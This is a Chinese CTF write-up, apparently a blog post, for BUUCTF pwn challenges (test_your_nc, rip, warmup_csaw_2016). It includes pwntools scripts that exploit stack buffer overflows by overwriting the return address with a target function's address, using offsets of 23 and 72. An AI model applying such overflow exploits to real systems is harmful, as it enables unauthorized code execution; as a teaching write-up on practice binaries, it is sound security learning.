pwn难啊

 

1、test_your_nc

测试你nc,不用说,连上就有。

2、rip

ida中已经包含了system函数:

buuctf pwn wp---part1

 

 

 buuctf pwn wp---part1

溢出,覆盖rip为fun函数,peda计算偏移为23:

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',27146)
#p = process('./pwn1')

flag_addr = 0x40118A
payload = 0xf*'a' +'a'*8 + p64(flag_addr)

#print p.recv()
p.sendline(payload)
p.interactive()

 

3、warmup_csaw_2016

ida中,可以看到,存在溢出

buuctf pwn wp---part1

 

 

 buuctf pwn wp---part1

 

 

 buuctf pwn wp---part1

 

 

 使用peda计算偏移为72

buuctf pwn wp---part1

 

 

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',29050)
#p = process('./warmup_csaw_2016')

catflag_addr = 0x40060d

payload = 'A'*72 + p64(catflag_addr)

#print p.recv()
p.sendline(payload)

p.interactive()
exp

相关文章:

  • 2021-11-07
  • 2021-10-21
  • 2021-09-07
  • 2021-04-19
  • 2021-05-26
  • 2021-12-01
  • 2021-09-13
  • 2022-12-23
猜你喜欢
  • 2022-12-23
  • 2022-12-23
  • 2021-08-28
  • 2021-08-24
  • 2021-09-06
  • 2021-11-06
  • 2022-12-23
相关资源
相似解决方案